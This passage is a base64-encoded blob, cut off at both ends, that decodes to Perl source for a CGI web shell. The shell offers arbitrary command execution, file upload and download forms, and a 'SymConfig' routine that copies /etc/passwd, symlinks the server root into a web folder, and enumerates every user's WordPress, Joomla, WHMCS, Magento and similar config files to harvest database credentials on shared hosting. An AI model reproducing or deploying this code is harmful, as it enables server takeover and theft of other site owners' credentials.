JhIiB2YWx1ZT0iZG93bmxvYWQiPg0KJFByb21wdCBkb3dubG9hZDxicj48YnI+DQpGaWxlbmFtZTogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KRG93bmxvYWQ6IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQo8L2Zvcm0+DQo8L2k+PC9iPjwvZm9udD48L2NlbnRlcj4NCjwvY29kZT4NCkVORA0KfQ0KDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0Kew0KJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQpwcmludCA8PEVORDsNCjxjb2RlPjxicj48Y2VudGVyPjxmb250IGNvbG9yPWxpbWU+PGI+PGk+PGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQokUHJvbXB0IHVwbG9hZDxicj48YnI+DQpGaWxlbmFtZTogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KT3B0aW9uczogPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiB2YWx1ZT0ib3ZlcndyaXRlIj4NCk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8YnI+PGJyPg0KVXBsb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPg0KPC9mb3JtPjwvaT48L2I+PC9mb250Pg0KPC9jZW50ZXI+DQo8L2NvZGU+DQpFTkQNCn0NCg0Kc3ViIENvbW1hbmRUaW1lb3V0DQp7DQppZighJFdpbk5UKQ0Kew0KYWxhcm0oMCk7DQpwcmludCA8PEVORDsNCjwveG1wPg0KPGNvZGU+DQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuDQo8YnI+S2lsbGVkIGl0IQ0KPGNvZGU+DQpFTkQNCiZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KJlByaW50UGFnZUZvb3RlcjsNCmV4aXQ7DQp9DQp9DQpzdWIgRXhlY3V0ZUNvbW1hbmQNCnsNCiAgIGlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQNCiAgICB7DQogICAgICAgICMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUNCiAgICAgICAgIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuDQogICAgICAgDQogICAgICAgICRPbGREaXIgPSAkQ3VycmVudERpcjsNCiAgICAgICAgJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOw0KICAgICAgICBjaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQogICAgICAgICZQcmludFBhZ2VIZWFkZXIoImMiKTsNCiAgICAgICAgJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOw0KICAgICAgICBwcmludCAiPGNvZGU+JFByb21wdCAkUnVuQ29tbWFuZDwvY29kZT4iOw0KICAgIH0NCiAgICBlbHNlICMgc29tZSBvdGhlciBjb21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQNCiAgICB7DQogICAgICAgICZQcmludFBhZ2VIZWFkZXIoImMiKTsNCiAgICAgICAgJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQogICAgICAgIHByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPjx4bXA+IjsNCiAgICAgICAgJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOw0KICAgICAgICBpZighJFdpbk5UKQ0KICAgICAgICB7DQogICAgICAgICAgICAkU0lHeydBTFJNJ30gPSBcJkNvbW1hbmRUaW1lb3V0Ow0KICAgICAgICAgICAgYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOw0KICAgICAgICB9DQogICAgICAgIGlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQNCiAgICAgICAgew0KICAgICAgICAgICAgJHw9MTsNCiAgICAgICAgICAgICRDb21tYW5kIC49ICIgfCI7DQogICAgICAgICAgICBvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsNCiAgICAgICAgICAgIHdoaWxlKDxDb21tYW5kT3V0cHV0PikNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkXyA9fiBzLyhcbnxcclxuKSQvLzsNCiAgICAgICAgICAgICAgICBwcmludCAiJF9cbiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkfD0wOw0KICAgICAgICB9DQogICAgICAgIGVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcw0KICAgICAgICB7DQogICAgICAgICAgICBwcmludCBgJENvbW1hbmRgOw0KICAgICAgICB9DQogICAgICAgIGlmKCEkV2luTlQpDQogICAgICAgIHsNCiAgICAgICAgICAgIGFsYXJtKDApOw0KICAgICAgICB9DQogICAgICAgIHByaW50ICI8L3htcD4iOw0KICAgIH0NCiAgICAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCiAgICAmUHJpbnRQYWdlRm9vdGVyOw0KfQ0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQ0Kew0KbG9jYWwoJEZpbGVVcmwpID0gQF87DQppZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMNCnsNCiMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8gdGhlIGJyb3dzZXINCiRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCiREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsNCiRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlWPVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7DQomUHJpbnRQYWdlSGVhZGVyKCJjIik7DQpwcmludCA8PEVORDsNCjxjb2RlPg0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+DQpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0b21hdGljYWxseSwNCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lg0KPC9jb2RlPg0KRU5EDQomUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCiZQcmludFBhZ2VGb290ZXI7DQp9DQplbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQp7DQomUHJpbnRQYWdlSGVhZGVyKCJmIik7DQpwcmludCAiPGNvZGU+RmFpbGVkIHRvIGRvd25sb2FkICRGaWxlVXJsOiAkITwvY29kZT4iOw0KJlByaW50RmlsZURvd25sb2FkRm9ybTsNCiZQcmludFBhZ2VGb290ZXI7DQp9DQp9DQpzdWIgU3ltQ29uZmlnDQp7DQojIS91c3IvYmluL3BlcmwgLUkvdXNyL2xvY2FsL2JhbmRtaW4NCnVzZSBGaWxlOjpDb3B5OyB1c2Ugc3RyaWN0OyB1c2Ugd2FybmluZ3M7IHVzZSBNSU1FOjpCYXNlNjQ7DQpteSAkZmlsZW5hbWUgPSAncGFzc3dkLnR4dCc7DQppZiAoIS1lICRmaWxlbmFtZSkgeyBjb3B5KCIvZXRjL3Bhc3N3ZCIsInBhc3N3ZC50eHQiKSA7DQp9DQpta2RpciAic3ltbGlua19jb25maWciOw0Kc3ltbGluaygiLyIsInN5bWxpbmtfY29uZmlnL3Jvb3QiKTsNCm15ICRodGFjY2VzcyA9IGRlY29kZV9iYXNlNjQoIlQzQjBhVzl1Y3lCSmJtUmxlR1Z6SUVadmJHeHZkMU41YlV4cGJtdHpEUXBFYVhKbFkzUnZjbmxKYm1SbGVDQmpiMjQzWlhoMExtaDBiUTBLUVdSa1ZIbHdaU0IwWlhoMEwzQnNZV2x1SUM1d2FIQWdEUXBCWkdSSVlXNWtiR1Z5SUhSbGVIUXZjR3hoYVc0Z0xuQm9jQTBLVTJGMGFYTm1lU0JCYm5rTkNrbHVaR1Y0VDNCMGFXOXVjeUFyUTJoaGNuTmxkRDFWVkVZdE9DQXJSbUZ1WTNsSmJtUmxlR2x1WnlBclNXZHViM0psUTJGelpTQXJSbTlzWkdWeWMwWnBjbk4wSUN0WVNGUk5UQ0FyU0ZSTlRGUmhZbXhsSUN0VGRYQndjbVZ6YzFKMWJHVnpJQ3RUZFhCd2NtVnpjMFJsYzJOeWFYQjBhVzl1SUN0T1lXMWxWMmxrZEdnOUtpQU5Da2x1WkdWNFNXZHViM0psSUNvdWRIaDBOREEwRFFwU1pYZHlhWFJsUlc1bmFXNWxJRTl1RFFwU1pYZHlhWFJsUTI5dVpDQWxlMUpGVVZWRlUxUmZSa2xNUlU1QlRVVjlJRjR1S25ONWJXeHBibXRmWTI5dVptbG5JRnRPUTEwTkNsSmxkM0pwZEdWU2RXeGxJRnd1ZEhoMEpDQWxlMUpGVVZWRlUxUmZWVkpKZlRRd05DQmJUQ3hTUFRNd01pNU9RMTA9Iik7DQpteSAkeHN5bTQwNCA9IGRlY29kZV9iYXNlNjQoIlQzQjBhVzl1Y3lCSmJtUmxlR1Z6SUVadmJHeHZkMU41YlV4cGJtdHpEUXBFYVhKbFkzUnZjbmxKYm1SbGVDQmpiMjQzWlhoMExtaDBiUTBLU0dWaFpHVnlUbUZ0WlNCd2NIRXVkSGgwRFFwVFlYUnBjMlo1SUVGdWVRMEtTVzVrWlhoUGNIUnBiMjV6SUVsbmJtOXlaVU5oYzJVZ1JtRnVZM2xKYm1SbGVHbHVaeUJHYjJ4a1pYSnpSbWx5YzNRZ1RtRnRaVmRwWkhSb1BTb2dSR1Z6WTNKcGNIUnBiMjVYYVdSMGFEMHFJRk4xY0hCeVpYTnpTRlJOVEZCeVpXRnRZbXhsRFFwSmJtUmxlRWxuYm05eVpTQXEiKTsNCm9wZW4obXkgJGZoMSwgJz4nLCAnc3ltbGlua19jb25maWcvLmh0YWNjZXNzJyk7IHByaW50ICRmaDEgIiRodGFjY2VzcyI7IGNsb3NlICRmaDE7IG9wZW4obXkgJHh4LCAnPicsICdzeW1saW5rX2NvbmZpZy9uZW11LnR4dCcpOyBwcmludCAkeHggIiR4c3ltNDA0IjsgY2xvc2UgJHh4OyBvcGVuKG15ICRmaCwgJzw6ZW5jb2RpbmcoVVRGLTgpJywgJGZpbGVuYW1lKTsgd2hpbGUgKG15ICRyb3cgPSA8JGZoPikgeyBteSBAbWF0Y2hlcyA9ICRyb3cgPX4gLyguKj8pOng6L2c7IG15ICR1c2VybnlhID0gJDE7IG15IEBhcnJheSA9ICgge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nLy5hY2Nlc3NoYXNoJywgdHlwZSA9PiAnV0hNLWFjY2Vzc2hhc2gnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jb25maWcva29uZWtzaS5waHAnLCB0eXBlID0+ICdMb2tvbWVkaWEnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9saWIvY29uZmlnLnBocCcsIHR5cGUgPT4gJ0JhbGl0YmFuZycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NvbmZpZy9zZXR0aW5ncy5pbmMucGhwJywgdHlwZSA9PiAnUHJlc3RhU2hvcCcgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2FwcC9ldGMvbG9jYWwueG1sJywgdHlwZSA9PiAnTWFnZW50bycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCB0eXBlID0+ICdPcGVuQ2FydCcgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2FwcGxpY2F0aW9uL2NvbmZpZy9kYXRhYmFzZS5waHAnLCB0eXBlID0+ICdFbGxpc2xhYicgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC93cC90ZXN0L3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9iZXRhL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9wb3J0YWwvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3NpdGUvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3dwL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9XUC93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvbmV3cy93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd29yZHByZXNzL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC90ZXN0L3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9kZW1vL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9ob21lL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC92MS93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdjIvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3ByZXNzL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2Jsb2dzL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnXldITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY21zL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYmV0YS9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3BvcnRhbC9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3NpdGUvY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9tYWluL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvaG9tZS9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2RlbW8vY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC90ZXN0L2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdjEvY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC92Mi9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL25ldy9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1dITUNTL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3dobWNzMS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9XaG1jcy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC93aG1jcy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC93aG1jcy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9XSE1DL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1dobWMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd2htYy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9XSE0vc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvV2htL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3dobS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9IT1NUL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0hvc3Qvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvaG9zdC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9TVVBQT1JURVMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvU3VwcG9ydGVzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3N1cHBvcnRlcy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9kb21haW5zL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2RvbWFpbi9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9Ib3N0aW5nL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0hPU1RJTkcvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvaG9zdGluZy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9DQVJUL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NhcnQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY2FydC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9PUkRFUi9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9PcmRlci9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9vcmRlci9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9DTElFTlQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ2xpZW50L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NsaWVudC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9DTElFTlRBUkVBL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NsaWVudGFyZWEvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY2xpZW50YXJlYS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9TVVBQT1JUL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1N1cHBvcnQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvc3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9CSUxMSU5HL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JpbGxpbmcvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB